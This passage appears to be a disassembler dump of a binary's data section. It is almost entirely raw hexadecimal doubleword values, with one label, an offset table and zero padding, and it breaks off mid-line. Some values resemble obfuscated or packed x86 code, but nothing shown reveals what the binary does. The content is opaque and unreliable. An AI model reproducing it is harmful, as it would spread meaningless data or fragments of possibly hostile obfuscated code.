0CEC1615Ah, 56006A10h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 6E927h, 3C270000h, 0FD7DADC8h, 800F60h, 0E9000000h dd 6, 0B7BB2364h, 0F611231h, 880h, 28F0F00h, 60000000h dd 72896661h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0D49FB709h, 0CD14D235h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 37A974C0h, 8CE96Eh, 8BFC0000h, 0E3A13B85h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 462FE6C6h, 56E3FB4h, 1840F62h, 0F9000000h, 0A0E8B58Dh dd 800F07E3h, 0Fh, 0AE9h, 0F7F7A200h, 47995AB2h, 8D8E34D8h dd 0E357A085h, 10830F07h, 0E9000000h, 0Bh, 0CAC3C38Ah dd 24397C15h, 0FF591A73h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0C06D0CFDh dd 8589FCA3h, 7E39A01h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 47C35343h, 18269C98h, 0E9FC0303h, 14h dd 1BC7544Bh, 0AF10CD59h, 3D1BABB1h, 48E8C592h, 5AF950D6h dd 13E9h, 27315200h, 59F1B22Ch, 0D230AE4Bh, 0FB99A681h dd 822A10C2h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0DFA8BACEh, 8C1DB9F4h, 0BE860h, 0F9520000h dd 5E5F9074h, 0C02D263h, 0BF0F5A08h, 858B61DBh, 7E39A01h dd 13E9h, 1246B500h, 0B8E2E731h, 6B9AECFDh, 238F26EDh dd 0E64E0274h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 44BFCC84h, 71CFD53Dh dd 1870Fh, 60F50000h, 0DE9h, 2EA02E00h, 5C244488h, 0A29ACDEBh dd 61F87A06h, 0BD83FC60h, 7E3A13Bh, 3C850F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 8B8C350h, 0A70F016Fh, 85C7F5FCh, 7E3A13Bh dd 1013Fh, 0AE9h, 1FEAF100h, 4BFB9090h, 0E95D3BB0h, 1 dd 20CDF9h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 7E39A09h dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 7E39A05h, 7F34583Bh dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 7E39A01h, 8B04EBh dd 8B61C5EBh, 0E39A0185h, 6ACF07h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 5160B1C3h, 9E9615Ah dd 82000000h, 0A7BBB34Ch, 19671577h, 93CF8160h, 5610C5C7h dd 0C1F4B866h, 830F6158h, 1, 0E9C08BF5h, 148h, 50h, 54h dd 58h, 5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h, 0B8h, 0BCh dd 0C0h, 0C4h, 0C8h, 0CCh dword_5869B8 dd 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0) dd offset dword_5869B8+20h dd 0A150EBh, 0A1CC858Dh, 9D8B07E3h, 7E01BA1h, 0A30C8589h dd 85C607E3h, 7E00759h, 0A9BD0954h, 6807E02Ah, 87160BB3h dd 0A890Fh, 66600000h, 14B8F18Bh, 6144870Bh, 76240481h dd 50674C5Ch, 9E8h, 53093600h, 0FCA02CBDh, 0F580E045h dd 0FF5F5EBBh, 0E0292DB5h, 0B9BD8B07h, 8D07E018h, 0E37FE885h dd 9D8D8907h, 0FF07E033h, 3DB589D0h, 8907E029h, 0E3A31085h dd 0E9FE8B07h, 40h, 56FEB70Fh, 0A30CB58Bh, 68907E3h, 0A30C8583h dd 5E0407E3h, 0B58D60C3h, 7E3A1CCh, 6A560FEBh, 0FF36FF00h dd 0E3A31095h, 0C6835E07h, 3E8304h, 0C361EC75h, 19899531h dd 0BD8B07E0h, 7E02CD1h, 0A3A5858Dh, 830F07E3h, 6, 11198D89h dd 858907E0h, 7E018C1h, 10CE9h, 0DC58E000h, 55C9738h, 0A188838Ah dd 0E0A1D76h, 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh dd 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h dd 60206020h, 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h dd 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h dd 53752060h, 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h dd 60C950F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h dd 60F76DB9h, 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh dd 2F6D3733h, 0A1E357Dh, 3407000Eh, 0A0A3D25Dh, 1E59h dd 9 dup(0) dd 0CFCE900h, 87680000h, 0E907E3A7h, 0FFFCDBD3h, 0E3A85E68h dd 0DBC9E907h, 3068FFFCh, 0E907E3A9h, 0FFFCDBBFh, 0E3A9FF68h dd 0DBB5E907h, 7368FFFCh, 0E907E3AAh, 0FFFCDBABh, 0E3AB3B68h dd 0DBA1E907h, 0F068FFFCh, 0E907E3ACh, 0FFFCDB97h, 0E3ADE468h dd 0DB8DE907h, 9A68FFFCh, 0E907E3AEh, 0FFFCDB83h, 0E3AF9568h dd 0DB79E907h, 8768FFFCh, 0E907E3B0h, 0FFFCDB6Fh, 0DBF5AF97h dd 506A2209h, 0C7E1997Eh, 3A540CF5h, 0B2CC8668h, 0DDBF745Dh dd 53370923h, 0CAAD7F99h, 4026F812h, 0A18C6C86h, 0D6FC337Eh dd 2D94B21h, 83884228h, 0C664868Ch, 0A14D6487h, 0D62929BAh dd 2FF0D6D0h, 92898E46h, 3D42FCE0h, 98969B46h, 82F5FAB4h dd 0EBA58963h, 83EBEFE6h, 6474AB4Ah, 4BA81D23h, 0D2F51B01h dd 29B9A5DFh, 7F994497h, 0D28C6E48h, 7CD0D6CDh, 41809794h dd 0C4C98367h, 0A5DFD2CDh, 345729B9h, 29B9A57Dh, 7CCFA6F9h dd 0FED81776h, 0DED3F61Ch, 9829B9A5h, 5E89A45h, 0A04474Dh dd 6C2E5991h, 30161419h, 0E6255C76h, 0D9CAEEC3h, 2F358821h dd 90954F35h, 0D9CB6549h, 9B533821h, 0F2B19896h, 0A7AC570Fh dd 0ED09C3A9h, 0E8044FA4h, 12F8429Fh, 0DB073E58h, 22A679F8h dd 0A59FA55Ch, 20005BFh, 0F55D621Ch, 1F0557ACh, 18C37B5Eh dd 0CFE220FEh, 0D53D4h, 57000005h, 868B452Bh, 0CEE8A288h dd 32557EA2h, 29BAA07Fh, 0A11D94B7h, 65929BAh, 37F1D52Fh dd 0A7CAE18Ch, 2E5AA757h, 0B2FF22E1h, 0CC21DA9Ah, 82C9CE79h dd 21DA9B2Bh, 0FE5CB112h, 53D4E0C0h, 41EBh, 4FD13500h dd 3CB6D9F0h, 0C22E5AA0h, 9FD1E003h, 5AAD21DAh, 4A63AAAFh dd 5121DAA0h, 0B1AFB46Ch, 180E13CDh, 614496EBh, 8DEEFEA9h dd 0EBACDA30h, 0ADEC53D4h, 0DA94278Ah, 0F6FC4F21h, 0EA72h dd 9AC6BC00h, 2E5E7E4Ch, 0B1ABB17Ah, 0E0C11CBh, 0CA826B2Ch dd 1E23CEC5h, 69803A20h, 0E6AA072Ah, 719429B9h, 29B9E740h dd 0B90CE336h, 61661E07h, 1917646Ah, 88627933h, 93E3E8A2h dd 0BEC9E2A5h, 585E0970h, 0F9E3DBF6h, 0B49A29B9h, 0CFA9E0FAh dd 0F91C33EDh, 29B9F5B8h, 6B656BBEh, 753C5F85h, 129B9F5h dd 0A6FE03AEh, 83A6BD7Ah, 2E59D63Fh, 204C66B9h, 0F91C33F0h dd 26779156h, 0A07A91E4h, 0B3EA04BEh, 450F0987h, 0C6CC45FBh dd 5730EACCh, 0E63245E3h, 0CAE10FF8h, 0B2000009h, 24F610CAh dd 996B853Dh, 10E2FCB4h, 83556F27h, 78CDE7A1h, 3EF8DA4Fh dd 0B46E5224h, 2DE5C89Ah, 0A15B4113h, 99BCA787h, 21D6FA18h dd 0C652EC5Eh, 0A14D6487h, 654E29BAh, 957CD6ADh, 36E1D8DDh dd 93543630h, 0F7EEF3ADh, 7A60324Ch, 0D1ACA6C0h, 0B6D9F04Fh dd 2E5AA03Ch, 236A6FC2h, 21DA9F8Ah, 9FFD52B3h, 53D4EB63h dd 0C38Ch, 0ECC6D600h, 51484D05h, 0B16B514Bh, 8A6F49ACh dd 803A20D2h, 847E847Bh, 9CE3E8A2h, 29BAA222h, 1F39F3D9h dd 0A8AD674Dh, 4C63C050h, 8B4A330Dh, 3F45F0A8h, 5A7DC6FCh dd 0E3FD502Eh, 0B3CA69B7h, 0FBB39A74h, 0F4ACB2F5h, 0ABEA2677h dd 0B8072988h, 0FC025529h, 99738ADDh, 11E3FDB7h, 2E9C752Fh dd 47E632C3h, 8F3305Eh, 0A1890000h, 14FBCDE7h, 8B70425Ch dd 0FEE7B9D3h, 785A2C46h, 664FA4BEh, 0FB15CFB1h, 718B4529h dd 0EA04BC9Fh, 5E783218h, 4170937Eh, 3D21D6F9h, 492B31CBh dd 0A0B10023h, 6A8D29BAh, 29BAA147h, 0B205DC2Fh, 351BED07h dd 502A617Bh, 0E5AE5B6Eh, 0D553C2C0h, 0DC96782Ah, 0B8DAE0D7h dd 868B452Bh, 0CEE8A288h, 0E2BCCB84h, 4B4247FFh, 102FF145h dd 0F9E0BAF9h, 0F39E583Ah, 9FA45C41h, 75FA2A8h, 812E5AA6h dd 0B5D8172Eh, 21DA99FCh, 2C292F82h, 92CE5245h, 0E2DF3CFh dd 14C6D4F7h, 6DC03532h, 23001068h, 83ECE90Ch, 0F74A2F91h dd 0E2C7A1E0h, 7B822F2Ah, 0A9FC308Fh, 846A44A3h, 0F8DEB0CAh dd 113C59E5h, 0E7922201h, 5BD7A60Eh, 0ACDAC3DFh, 821h dd 9FB9735Bh, 142EE6CDh, 8BA55D42h, 0FE18D0B9h, 76904A2Ch dd 0A183B821h, 17FBCDE7h, 8E71435Dh, 4EABCD6h, 6550304Ah dd 0D6F86F42h, 0FB950721h, 868B452Bh, 53644923h, 17FB9A43h dd 0EFF5A067h, 9FB6759Bh, 0B3FE2160h, 0CB29BA88h, 13217478h dd 90720F1Fh, 0CA4F478Ah, 0D6292E59h, 0A38090BCh, 168E698Ch dd 99EC2678h, 8C2A882h, 7C361CEEh, 32F11F77h, 0B6C6F81Bh dd 0A4502E55h, 0A9804E4Eh, 1E35E0A3h, 9EA35B44h, 6899183Bh dd 92E521DAh, 0A882E1E7h, 17F108C2h, 78767B35h, 262CD78Fh dd 520CF2C4h, 0C2BF54Dh, 25361BF5h, 9BA23568h, 6E731E83h dd 0CCD18970h, 0C5242AD5h, 7997D0A2h, 0FAD32626h, 0E630F2A8h dd 52A2D0B9h, 2A000007h, 9C6E8842h, 11E3FDB5h, 885A742Ch dd 0FBCDE79Fh, 0F0455F19h, 0B67052C7h, 2CE6CA9Ch, 0A55D4012h dd 19D3B98Bh, 11341FFFh, 21D6F7A0h, 0D1CA64D6h, 4B05E94Fh dd 8DA44F46h, 59025C6Ah, 7087DA2Eh, 0DFF6B096h, 7C612005h dd 1DC8BFC4h, 0CACF896Bh, 996BCDD3h, 9CF4F9B3h, 0C6A0B774h dd 0C5242AE4h, 76E8F4A2h, 26FF5226h, 0E633B7DAh, 0DED806EFh dd 9E000006h, 10E2FCB6h, 85577129h, 0FCCEE8A0h, 6F415B13h dd 64B9D38Dh, 2AE4C67Bh, 0A05A3E10h, 19D1B486h, 8D472DFFh dd 85A89373h, 21D6F72Ch, 0D146E052h, 9AD9F04Fh, 0A079385Bh dd 0B20529BAh, 58E69ACh, 80AC2E59h, 1969DD7Fh, 55747ACFh dd 80ACEB02h, 499A20ACh, 0CCC6CC9Eh, 40122CE6h, 0FBB5995Ah dd 417093F6h, 3D21D74Bh, 8F943FEAh, 6043E937h, 0C3E6FDA8h dd 2675ABFBh, 1F2D113Dh, 3EF7BD5Dh, 0EBF1A98Ch, 886279CCh dd 92758FA2h, 0D1B45681h, 53350F26h, 0FA319399h, 7B2B1FCEh dd 0E2D9DE96h, 0B89B35DEh, 18D2B8B2h, 7D55BB13h, 0F3BA8B80h dd 0F40BB6ECh, 5A5EA1D1h, 0AB84D72Eh, 0EE102965h, 1667957Eh dd 66000006h, 0D8AAC47Eh, 4D1F39F1h, 0C496B068h, 370923DBh dd 2C819B55h, 0F2AC8E83h, 682206D8h, 0E1997C4Eh, 550FF5C7h dd 4D705B3Bh, 21D6F664h, 2B0EA81Ah, 23868B45h, 0A0F0C1E4h dd 338629BAh, 934D332Dh, 7E633D7Ch, 0CFCAC1C6h, 29BAA0E2h dd 0EE45499Ch, 0F0065826h, 5319399h, 0D9051C1Bh, 903E652Ch dd 0BE1D2316h, 7C1A57Fh, 641E0402h, 0B7BD685Fh, 5A3D8A74h dd 34398C2Eh, 0DA34C0EDh, 3BF5DB21h, 974F3836h, 126F9C92h dd 15EBFCFh, 0D1927852h, 362D32EAh, 898F868Bh, 0D48A4783h dd 477053h, 0D1BA0000h, 4903E94Fh, 615B879Eh, 0EB770D98h dd 5073D2D8h, 2E5A22A2h, 3D8489DCh, 21DA2270h, 8B90482Bh dd 0EBF0A88Dh, 9AE53A83h, 76D4298Ah, 53D49548h, 13CBAE88h dd 0DD00170Eh, 21DA15D4h, 0CD5157AAh, 115h, 8B452B17h dd 9F123574h, 0D729BAA0h, 0E0FC8084h, 0A7415CEAh, 745654A1h dd 0D1B7B5BAh, 2E141217h, 7F3F5A74h, 1E29BA10h, 0D7917738h dd 1630DBD2h, 661E05DFh, 6A646A61h, 6DC5CA84h, 2E6D84A3h dd 0FE5CCEFh, 0E59129BAh, 1BEF11B7h, 0BBC16CC3h, 5A49AE78h dd 563C682Eh, 0B4D60894h, 16CEB769h, 0F32F110h, 21D9DBA2h dd 0C4DE89DCh, 94AB8898h, 0BEF31655h, 0B821D9DBh, 0DA1C5F65h dd 0DC267757h, 28377A9Dh, 7B6429B8h, 0AE92ECC3h, 244349F4h dd 0FEE0BAD1h, 27FCB5D8h, 0BEA729B8h, 330A0106h, 903BF5D9h dd 43A2CEE5h, 68517D06h, 7CEB1B89h, 22BC478h, 9FBDC983h dd 6F75209Fh, 9F593B0Dh, 323906C6h, 8CBAA3E6h, 461h, 5F79331Bh dd 0D4EEA68Dh dd 4B651D02h, 0BED89079h, 36500AECh, 6143F8E1h, 0D7BB8DA7h dd 4E31031Dh, 0C4AA7C96h, 2510F00Ah, 0D6F4AF02h, 0BB55C721h dd 788F492Bh, 78B9C64Ch, 6E74AC2Dh, 12FBD50Ch, 585E555Ah dd 0A4BE785Eh, 0F04FD1AAh, 0A03CB6D9h, 6FC22E5Ah, 9F8A236Ah dd 52B321DAh, 0EB639FFDh, 0CF8C53D4h, 0D6000000h, 868B452Bh dd 0E7ECA688h, 0BAA21EA0h, 1DD7BD29h, 0DA4C706h, 6929BA9Eh dd 0DCAE1016h, 0DF373CF6h, 1DBF231h, 0FC5F641Ch, 0BA9DD8D9h dd 0A04B9E29h, 0E183B9Ah, 482E5A7Fh, 0CAA4DBF5h, 32292EE8h dd 0EB48D82Ch, 0F7A6B1D4h, 0AE42677h, 47666C26h, 84C6588h dd 733229B8h, 0B8086150h, 1FCA1D29h, 7CCE508h, 5FB229B8h dd 0E1C39DB4h, 0D7823C20h, 0C7AC86BDh, 61130A0Fh, 0C5BCC17Bh dd 29E3C5BFh, 32C3A650h, 204E37E6h, 36Dh, 536D270Fh, 0C8E29A81h dd 3F5911F6h, 0B2CC846Dh, 2A44FEE0h, 5537ECD5h, 0CBAF819Bh dd 4225F711h, 0B89E708Ah, 1904E4FEh, 0D6F3BBF6h, 0B751C321h dd 788F492Bh, 7D11F34Ch, 7A801D3Fh, 0A6604618h, 452B928Ch dd 0A288868Bh, 0CD84CEE8h, 0C5DC5BC5h, 5AA5C4A2h, 4428022Eh dd 59E8868Ah, 0BC2E39E2h, 8F4497B6h, 872A4D8Ch, 0EF21D9E1h dd 0C253969Ch, 8485AF18h, 409C1AAh, 6DB3070Dh, 0FE94B7CEh dd 788A84EBh, 58C82025h, 34A1C4DBh, 928A2401h, 0AAE9283Fh dd 0E3FF2A87h, 0FB015485h, 9D081B01h, 3DF6CBD9h, 4A1C36E1h dd 2DD1AA64h, 0C28A069Fh, 2B7ABD9h, 0DDC50000h, 50370923h dd 0C7AC7E98h, 3A23F50Fh, 0B4966882h, 228BE0FAh, 37510BEDh dd 0ADC78165h, 2640F8DBh, 9AB46E54h, 5ACCFBAh, 7121D6F3h dd 452B65FFh, 0E22E868Bh, 330B2E45h, 0C52E5A8Dh, 510E5872h dd 0C03DB45h, 946F421Ch, 55788F3Ah, 267A1911h, 8E462D07h dd 668E9289h, 29AC900Eh, 0BB0E2D33h, 2CE6CAA4h, 652C3027h dd 0DE6BDB97h, 8269666Ch, 95348047h, 0BCA2868Ah, 0B9ADFD02h dd 0F5CB7177h, 0DFF6A14Ch, 0CC49DEBCh, 19FE5871h, 0C2838408h dd 8F3A596Fh, 0FAE1938Ah, 9B463D42h, 955C5884h, 7CD819EAh dd 4FD12976h, 779AD9F0h, 6E4C883Ah, 65C49844h, 0E4885102h dd 0B2FF2239h, 0CC6E4BB7h, 0F1147379h, 72EAF4E4h, 0B9F80F62h dd 0B5A577Ah, 0D1246D2Dh, 31EBD1CBh, 0EF05EE1Ah, 2FB7F42Fh dd 2CB4A50Ch, 0D37ED16Dh, 0B3996BCDh, 168220F9h, 321BA2BEh dd 1BC04h, 1ED8C000h, 934B3204h, 0AC2A779h, 7D351EF0h dd 0F5AF9163h, 0E85D86DBh, 60324C06h, 0D6A8C27Ch, 4F213BF3h dd 0B595AF69h, 0F20AA7CAh, 27421D6h, 8B452B68h, 45E22E86h dd 3215EF2Eh, 677E757Ah, 0BAA16D44h, 0B0B60929h, 5A8F096Dh dd 122C7F2Eh, 1BF58AC8h, 267A8038h, 0FA263DFAh, 0D165897Bh dd 2CE4CB3Fh, 7F853027h, 6569FD20h, 855F267Ah, 0C1E0E69Eh dd 967D576Eh, 0DCE2D9DEh, 559F8DFh, 60B09148h, 6BB2416Ah dd 0CA750612h, 123574B3h, 70C84A9Fh, 0E8232BD7h, 0B9AE4E0Bh dd 0DDD4F70Eh, 9970C86Dh, 9DFD4046h, 0B3756854h, 233AF2D9h dd 0A886B100h, 747ACD6Ah, 0A5FD0255h, 82A5BC7Bh, 6F47C453h dd 6F4960B3h, 0D4CBD088h, 0AF956FCEh, 2204DEF5h, 0DD006368h dd 70C93BD4h, 0A6AC57AAh, 0CB8C7244h, 0AC8530E8h, 9F218F14h dd 0CA9AC8B1h, 0B2000000h, 24F610CAh, 996B853Dh, 10E2FCB4h dd 83556F27h, 78CDE7A1h, 3EF8DA4Fh, 0B46E5224h, 2DE5C89Ah dd 0A15B4113h, 99BCA787h, 21D6F118h, 2B52EC5Eh, 2E868B45h dd 0B2E45E2h, 2E5ABEFBh, 0E4102A7Dh, 3537A63Ch, 0A4549A71h dd 0D0D40E55h, 32DDAEEAh, 0C39DDC1Bh, 2C2328E0h, 0DA328031h dd 9DA3F621h, 7894805Ah, 0BA9CF626h, 5904FB00h, 0B6705654h dd 2AE4CA9Ch, 5E8C225h, 0A1A66046h, 3FAFFAAh, 7E76BAFDh dd 42291681h, 0A587858Ah, 0F9BAE6EBh, 0FD3259A4h, 0B67056A0h dd 743D609Fh, 0AEA7E7Ah, 7D4FB1B7h, 0DAD8DD97h, 0DF3CDF1h dd 7A595853h, 0D225EA7Eh, 0FF2C2227h, 0B87258A2h, 2CE6CC9Eh dd 3F927h, 248F0000h, 89432B66h, 0E6A08684h, 4800E3E1h dd 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h dd 833B2220h, 89526D7Eh, 4C281E2h, 81000000h, 4EAh, 24148700h dd 241C895Ch, 7C6068h, 243C8900h, 107068h, 242C8900h, 232ABB53h dd 0B951162Eh, 43815432h, 0E1C1D9F7h, 7FE18102h, 4174A332h dd 7EF18149h, 31616FA4h, 0DF8959CBh, 7DD6685Bh, 24890000h dd 24048324h, 0EC835D04h, 243C8904h, 0FF08458Fh, 815D2434h dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFCCEEBh, 84161AAEh dd 1819A7BDh, 76B8D27Ch, 307E3B1h, 4BE0FFC5h, 0BA79F613h dd 831B0C80h, 5A0EEAA4h, 0E0432FB8h, 0C2753BE7h, 374E111Bh dd 61211F08h, 5C150B1Fh, 366CE2E0h, 0D11F40FBh, 41646FCAh dd 8255AD4Dh, 0A730D4DEh, 1458A9D8h, 6801DBDAh, 0CE73EF9Dh dd 0C37E0FBFh, 0E733DC20h, 1479EE45h, 28781B9Ah, 571B16DDh dd 1B2629E6h, 944ACC5h, 0E800C0A3h, 13h, 30D6E853h, 0AF7771AAh dd 64C873Eh, 0BFF1807Ch, 0F051B53h, 589h, 0F5F1BB00h, 815A64DCh dd 5F21C2h, 0A492B800h, 0F0812C09h, 2C09B30Ah, 0DE9h, 0C05AE300h dd 0DE9CB096h, 7D86B150h, 328BCD88h, 0EE81FA8Bh, 53C1EC83h dd 7DCCCF81h, 0C6817888h, 2A609072h, 0C887F681h, 8B667986h dd 8B6656D8h, 8B028FCFh, 3EA83DAh, 0BE8h, 44F25900h, 0B7EE4346h dd 4F42D66Ah, 5F94F380h, 850F484Ah, 21h, 0DE9h, 91A26700h dd 0B2B9138Ch, 0E75B95Ch, 26E999B8h, 0EB000000h, 0BA12D944h dd 0B5AA0CE4h, 2EE3801Ah, 0FFFF91E9h, 9E0B00FFh, 440664EEh dd 17DA98Ah, 3E4D7E0Dh, 4FC20815h, 75E976h, 66600000h dd 4A8D88Ch, 35840Fh, 16A0000h, 2F01B5FFh, 858D07E0h, 7E37FE8h dd 8589D0FFh, 7E03129h, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah dd 1000Dh, 312995FFh, 32E907E0h, 0C6000000h, 0E0075985h dd 0DF685607h, 0FFA9C530h, 0E0292DB5h, 0E8858D07h, 0FF07E37Fh dd 858589D0h, 8D07E02Fh, 0E0258185h, 206A5007h, 0FF56056Ah dd 0E02F8595h, 0C1C36107h, 2AE906E0h, 19000000h, 3128F8h dd 9 dup(0) dd 542E900h, 21090000h, 947B4D67h, 0BF0C2DCh, 7E673953h dd 0F8DAACC6h, 0E6CF243Eh, 7B954F31h, 0F10BC5A9h, 6A843C1Fh dd 0DEF8B298h, 0C1F013FEh, 0BD21D6EDh, 452BB14Bh, 0A688868Bh dd 9B46FEE5h, 8D704A81h, 884023D5h, 0E8A28882h, 45FFE5E3h dd 0A35B4240h, 99F62B9Eh, 95AF694Fh, 0E28E0C3h, 0B89A593Ch dd 5702F9FEh, 1F291440h, 0C5EBC257h, 907472BFh, 0AEDBD1D6h dd 6C240751h, 0E09A8052h, 111A94DBh, 0D90A29BAh, 7AF82684h dd 5F135434h, 5D000000h, 225C9AC6h, 0FE0C346Eh, 0F134F80h dd 0B8BEA549h, 3017D8BEh, 81C8CD78h, 29BA932Eh, 1674C9FAh dd 5434E4E8h, 103h, 442B4D00h, 0A289878Ch, 0FEE7E5EAh dd 0AFCE4146h, 3439F3D5h, 6DC2373Dh, 627C341Bh, 898AFF2Bh dd 2C22F2A4h, 6F73BE24h, 0DFE5A6B2h, 5B3EFFE5h, 0FCA79EA3h dd 0ECC6E8E2h, 0A65E4506h, 0F9FFF6FBh, 5E631DFFh, 0BCC17960h dd 0BFE22154h, 29BAA0F2h, 0BE33398Ch, 7B351761h, 0E8A98F61h dd 0F8B9DC02h, 7E29BAA0h, 0BED5802Bh, 4045FDE4h, 93F64349h dd 1419D3B9h, 0CEE3061Dh, 0A829BAA0h, 70554F55h, 9B1AE35Fh dd 3BE66A61h, 2479DA36h, 0F8B0936Dh, 0F0F6FCF3h, 5434EAA2h dd 72EDh, 492B3700h, 0A78C8A8Fh, 0E6ACD8EFh, 5AD35816h dd 6563B0B6h, 0C7C5CA82h, 0B2252AE2h, 4E71207Dh, 29B9D063h dd 0F61DC81Bh, 381A6CC1h, 532D647Eh, 0B6ADB26Ah, 1AD4B6B0h dd 762E1715h, 0E7A1855Fh, 0D73894E1h, 39F6247Ah, 4F215434h dd 2E000000h, 407DA02h, 191F8098h, 8F492BF7h, 0F1A98C8Ah dd 0A805BAECh, 0A8C27C5Eh, 0A20F3271h, 0DC29BAA0h, 2B618389h dd 40878C44h, 29BAA16Eh, 8B90482Dh, 5E81A78Dh, 29BAA153h dd 282DD82Bh, 0D71A77C0h, 0CA207DAEh, 5434EA9Ch, 1B7h dd 462B0100h, 3BE69E87h, 98523836h, 0AC869D93h, 93080EC8h dd 0CBAD873Eh, 2C110B11h, 0E22E5A74h, 5F0B2E45h, 992E5A9Fh dd 4F032F46h, 68496C77h, 0E21D9A5h, 236EB7BBh, 0E19B7F31h dd 92DFE5DCh, 0DAF4AE94h, 8CD577A3h, 0A3F6BBDEh, 2D8021D9h dd 0A52BE229h, 5BFA59Fh, 8AF6B900h, 0C07521DAh, 1D88B463h dd 7F134B65h, 8E746E74h, 2E8BAD4h, 5F454348h, 538A0A5h dd 6FDFDFD9h, 0B4BA2055h, 0F433E23Fh, 0D9F0E0D1h, 91439621h dd 0F9F0F5AFh, 5913F9F3h, 5A25613Fh, 997353D4h, 1F8FDB7h dd 14777FBh, 0C6C10000h, 0A14D6487h, 0D62929BAh, 97947CD0h dd 87795D80h, 0B58F2E5Ah, 1C1318D0h, 0B69DF716h, 5702F9FEh dd 2F15EF52h, 25D08A6Eh, 7E3F251Fh, 0E1D8DD95h, 644A1C36h dd 0C1A7A5AAh, 679A0207h, 3E9A88Dh, 0A2999E49h, 80CA279Ch dd 0E8C6E09Ah, 53D4CCBAh, 813920FAh, 0FB7F857Ch, 42h, 0EF4ED145h dd 621CFED8h, 160665Dh, 455DF3DEh, 0F3F84B56h, 0BAA205ACh dd 4AA768A9h, 0A3BA7BA6h, 455F5180h, 6E53ADD6h, 1AF40BB6h dd 15777D35h, 0B413h, 0B0926C00h, 4D520AEFh, 0AFA6AB56h dd 4FD187A9h, 0A1506184h, 0C3E629BAh, 29BAA0EEh, 9F5E3588h dd 0BAA1357Ch, 43EE4129h, 3428198h, 0BAA0D1E0h, 545AAD29h dd 5AA48911h, 0A7ACFF2Eh, 1902C3A9h, 0BA655C61h, 2EE6C9A3h dd 0D5DB937Ch, 0FABBA173h, 0AFB45F17h, 0DA9D6468h, 522CCB21h dd 14CCAF70h, 686D180Fh, 9CCFE205h, 54A721DAh, 0D12EA3A9h dd 0CDE7A187h, 0D3B97FA1h, 721D1419h, 60421C5Bh, 0A4AAA1A6h dd 790EBB61h, 29255126h, 12CAB3C1h, 0AC12160Dh, 123137F1h dd 0D6BCBABFh, 0A21171Ch, 8D924C30h, 0C61B9096h, 2239F61Ah dd 55AA1DFFh, 620732Eh, 5ECC60Ch, 0A6AB6346h, 0AAFE04AFh dd 0D8B2C966h, 0D43339F1h, 59126BB1h, 0E3C7A12Eh, 272D2429h dd 0E70A4908h, 21D6EDCAh, 4B6661B4h, 5821D6EEh, 8EE1B872h dd 0FAE0DEE3h, 6E542640h, 0E568AFB4h, 1178E2Ch, 147B6E2h dd 0E161A601h, 0BF0966DBh, 0C9081FD9h, 92890BA6h, 1A2073F8h dd 0ED00E6B8h, 269BFCA3h, 29375898h, 55344251h, 0FCFAFFAAh dd 58565B13h, 0B7B5BA74h, 0C5151AD2h, 9F3FB107h, 853A2028h dd 0E3BE528h, 0C78167B1h, 0B99C76ADh, 93AB55A8h, 0DB8A32Fh dd 6D270D07h, 492B0568h, 8D938A8Fh, 0F63h, 0FFE2BC00h dd 25D40BEEh, 0CA7522F2h, 6624A2C4h, 8489432Bh, 0E1E6A086h dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h dd 2025DDC2h, 7E833B22h, 0E189516Dh, 4C181h, 0E9830000h dd 240C8704h, 6824248Bh, 516Fh, 50243C89h, 405E089h, 83000000h dd 48704E8h, 4895C24h, 0B3DE6824h, 3C8B07E3h, 4C48124h dd 68000000h, 2188h, 81242489h, 42404h, 81580000h, 4ECh dd 241C8900h, 8BBh, 89C30100h, 34FF5B3Bh, 0C4815824h, 4 dd 53243C8Bh, 0C381E389h, 4, 4C381h, 1C870000h, 0C4E95C24h dd 7AFFFCC7h, 251DE820h, 1E2A74EBh, 0E3B895B8h, 0FFC50307h dd 0D3D14DE0h, 3D979752h, 0CBD14F00h, 0B233F571h, 3CED150Dh dd 0A451D7Ch, 75C0B04Fh, 5F541D03h, 0EC8DFD6Fh, 6C2F3F08h dd 0F5A73115h, 0D6C6EA48h, 0A668DF50h, 0C8B0C676h, 9CE02B51h dd 39FA2045h, 61AA3304h, 128B7961h, 40FEFA01h, 2EF61129h dd 8F4FEB71h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h dd 0DB6734DFh, 